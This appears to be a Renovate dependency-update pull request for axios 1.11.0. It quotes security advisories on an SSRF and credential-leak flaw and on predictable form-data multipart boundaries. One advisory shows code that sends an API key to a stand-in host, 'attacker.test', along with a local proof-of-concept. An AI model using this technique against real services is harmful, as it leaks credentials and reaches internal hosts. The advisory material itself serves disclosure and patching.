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axios (source) 1.10.0 -> 1.11.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

GHSA-rm8p-cx58-hcvx

Summary

A critical vulnerability exists in the form-data package used by [email protected]. The issue allows an attacker to predict multipart boundary values generated using Math.random(), opening the door to HTTP parameter pollution or injection attacks.

This was submitted in issue #​6969 and addressed in pull request #​6970.

Details

The vulnerable package [email protected] is used by [email protected] as a transitive dependency. It uses non-secure, deterministic randomness (Math.random()) to generate multipart boundary strings.

This flaw is tracked under Snyk Advisory SNYK-JS-FORMDATA-10841150 and CVE-2025-7783.

Affected form-data versions:

  • <2.5.4
  • =3.0.0 <3.0.4

  • =4.0.0 <4.0.4

Since [email protected] pulls in [email protected], it is exposed to this issue.

PoC

  1. Install Axios: - npm install [email protected]
    2.Run snyk test:
Tested 104 dependencies for known issues, found 1 issue, 1 vulnerable path.

✗ Predictable Value Range from Previous Values [Critical Severity]
in [email protected] via [email protected] > [email protected]

  1. Trigger a multipart/form-data request. Observe the boundary header uses predictable random values, which could be exploited in a targeted environment.

Impact

  • Vulnerability Type: Predictable Value / HTTP Parameter Pollution
  • Risk: Critical (CVSS 9.4)
  • Impacted Users: Any application using [email protected] to submit multipart form-data

This could potentially allow attackers to:

  • Interfere with multipart request parsing
  • Inject unintended parameters
  • Exploit backend deserialization logic depending on content boundaries

Related Links

GitHub Issue #​6969

Pull Request #xxxx (replace with actual link)

Snyk Advisory

form-data on npm


Release Notes

axios/axios (axios)

v1.11.0

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@renovate renovate bot changed the title fix(deps): update dependency axios to v1.11.0 [security] fix(deps): update dependency axios to v1.11.0 [security] - autoclosed Jul 24, 2025
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